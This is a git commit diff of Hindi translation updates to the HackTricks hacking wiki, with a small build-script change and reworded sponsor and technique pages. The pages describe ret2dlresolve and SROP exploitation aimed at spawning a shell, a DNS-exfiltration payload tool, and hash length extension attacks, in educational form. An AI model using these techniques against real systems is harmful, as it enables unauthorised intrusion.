Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

This commit is contained in:
Translator 2025-01-03 18:12:16 +00:00
parent 5c5cf48bbc
commit 5435e2f370
73 changed files with 1549 additions and 1286 deletions

View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

View File

@ -1,15 +1,12 @@
# HackTricks
Reading time: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks लोगो और मोशन डिज़ाइन द्वारा_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **CTFs, वास्तविक जीवन के ऐप्स, शोध पढ़ने और समाचारों से मैंने जो भी हैकिंग ट्रिक/तकनीक/जो भी सीखा है, उसे खोजने के लिए विकी में आपका स्वागत है।**
> [!TIP] > **विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, असली जीवन ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
शुरू करने के लिए इस पृष्ठ का पालन करें जहां आप **टाइपिकल फ्लो** पाएंगे जो **आपको एक या अधिक मशीनों पर पेंटेस्टिंग करते समय पालन करना चाहिए:**
शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **टिपिकल फ्लो** मिलेगा जो **आपको एक या अधिक मशीनों पर पेंटेस्टिंग करते समय पालन करना चाहिए:**
{{#ref}}
generic-methodologies-and-resources/pentesting-methodology.md
@ -21,11 +18,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाए** जैसे पेंटेस्टिंग, रेड टीमें और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाए** जैसे पेंटेस्टिंग, रेड टीमें और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
आप उनके **ब्लॉग** को [**https://blog.stmcyber.com**](https://blog.stmcyber.com) पर देख सकते हैं।
**STM Cyber** भी हैकट्रिक्स जैसी साइबर सुरक्षा ओपन-सोर्स परियोजनाओं का समर्थन करता है :)
**STM Cyber** भी हैक्ट्रिक्स जैसे साइबर सुरक्षा ओपन-सोर्स प्रोजेक्ट्स का समर्थन करता है :)
---
@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti** **यूरोप का #1** एथिकल हैकिंग और **बग बाउंटी प्लेटफॉर्म** है।
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें!
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक बाउंटी कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **वर्कफ़्लो** को आसानी से बना और स्वचालित कर सकें।
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -70,7 +73,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
- **हैकिंग अंतर्दृष्टि:** हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
- **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
- **वास्तविक समय हैक समाचार:** वास्तविक समय की समाचारों और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
- **नवीनतम घोषणाएँ:** नए बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
@ -82,11 +85,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम उपकरणों का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -94,14 +99,14 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाए, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आजमाएं।\
आप [**यहा**](https://serpapi.com/users/sign_up) **एक मुफ्त खाता बना सकते हैं**
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाए, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
आप [**यहा**](https://serpapi.com/users/sign_up) **एक मुफ्त खाता बना सकते हैं**
---
@ -109,9 +114,11 @@ SerpApi की योजनाओं में से एक की सदस्
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
कमजोरियों के शोध, पेनिट्रेशन टेस्टिंग, और रिवर्स इंजीनियरिंग को करने के लिए आवश्यक तकनीकों और कौशलों को सीखें ताकि मोबाइल ऐप्स और उपकरणों की सुरक्षा की जा सके। **iOS और Android सुरक्षा में महारत हासिल करें** हमारे ऑन-डिमांड पाठ्यक्रमों के माध्यम से और **प्रमाणित हों**:
कमजोरियों के शोध, पेनिट्रेशन टेस्टिंग, और रिवर्स इंजीनियरिंग को करने के लिए आवश्यक तकनीकों और कौशलों को सीखें ताकि मोबाइल ऐप्स और उपकरणों की सुरक्षा की जा सके। **iOS और Android सुरक्षा में महारत हासिल करें** हमारे ऑन-डिमांड पाठ्यक्रमों के माध्यम से और **प्रमाणित** हों:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -119,19 +126,21 @@ SerpApi की योजनाओं में से एक की सदस्
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की **सुरक्षा** करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएं** प्रदान करके
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की **सुरक्षा** करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएँ** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं!
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर एक नज़र डालें!
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## License & Disclaimer
Check them in:
उनकी जाँच करें:
{{#ref}}
welcome/hacktricks-values-and-faq.md

View File

@ -4,20 +4,22 @@
## Basic Information
जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंग। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है।
जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंग। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है।
**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है।
**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल करने** के लिए आवश्यकता होती है।
इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया हल किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल किया जा सके।
आमतौर पर, सभी इन संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए।
आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए।
> [!TIP]
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं।
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall gadgets नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं।
इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें:
इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए चेक करें:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
या इन पृष्ठों को चरण-दर-चरण स्पष्टीकरण के लिए चेक करें:
@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### शुद्ध Pwntools
आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है:
आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **ज अंतिम ROP श्रृंखला का बहुत अच्छा विवरण प्रदान करता है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है:
```python
from pwn import *
@ -186,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए।
- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system` को स्टोर करने के लिए, मुख्य में वापस लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए।
{{#include ../../banners/hacktricks-training.md}}

View File

@ -57,11 +57,13 @@
```
एक बेहतर व्याख्या के लिए देखें:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## उदाहरण
आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से निर्मित किया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाई गई है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
```python
from pwn import *

View File

@ -4,13 +4,15 @@
- **सरल सूची:** बस एक सूची जिसमें प्रत्येक पंक्ति में एक प्रविष्टि होती है
- **रनटाइम फ़ाइल:** एक सूची जो रनटाइम में पढ़ी जाती है (मेमोरी में लोड नहीं होती)। बड़ी सूचियों का समर्थन करने के लिए।
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रह)।
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहता है-)।
- **संख्याएँ:** Z स्टेप का उपयोग करके या यादृच्छिक रूप से X से Y तक संख्याएँ उत्पन्न करें।
- **ब्रूट फोर्सर:** कैरेक्टर सेट, न्यूनतम और अधिकतम लंबाई।
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : कमांड निष्पादित करने और burpcollab के माध्यम से DNS अनुरोधों के माध्यम से आउटपुट प्राप्त करने के लिए पेलोड।
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : कमांड निष्पादित करने और burpcollab के लिए DNS अनुरोधों के माध्यम से आउटपुट प्राप्त करने के लिए पेलोड।
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

View File

@ -4,35 +4,37 @@
## Summary of the attack
कल्पना कीजिए एक सर्वर जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा के साथ एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **साइन** कर रहा है। यदि आप जानते हैं:
कल्पना कीजिए कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** जोड़ा जा रहा है और फिर उस डेटा का हैश बनाया जा रहा है। यदि आप जानते हैं:
- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
- **स्पष्ट पाठ डेटा**
- **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)**
- **पैडिंग ज्ञात है**
- आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है
- पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है।
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है।
### How?
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक** का हैश बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक** को **जोड़ते** हैं और **हैश करते** हैं।
फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है:
यदि एक हमलावर स्ट्रिंग "append" को जोड़ना चाहता है, तो वह कर सकता है:
- 64 "A"s का MD5 उत्पन्न करें
- 64 "A"s का MD5 जनरेट करें
- पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें
- "append" स्ट्रिंग को जोड़ें
- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा
- स्ट्रिंग "append" जोड़ें
- हैश को समाप्त करें और परिणामी हैश **"secret" + "data" + "padding" + "append" के लिए एक वैध होगा**
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### References
आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं
आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,8 +4,12 @@
यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,35 +2,37 @@
# हमले का सारांश
कल्पना करें कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** को **जोड़ना** और फिर उस डेटा का हैश बनाना शामिल है। यदि आप जानते हैं:
कल्पना कीजिए एक सर्वर जो कुछ **डेटा** को **साइन** कर रहा है, एक **गुप्त** को कुछ ज्ञात स्पष्ट पाठ डेटा में **जोड़कर** और फिर उस डेटा का हैशिंग कर रहा है। यदि आप जानते हैं:
- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
- **स्पष्ट पाठ डेटा**
- **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)**
- **पैडिंग ज्ञात है**
- आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है
- पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता होती ह
- पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक मान्य **हस्ताक्षर** **जनरेट** करना संभव है।
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है।
## कैसे?
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैश** बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश बनाते हैं**।
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैशिंग** करके हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश करते हैं**।
फिर, कल्पना करें कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है:
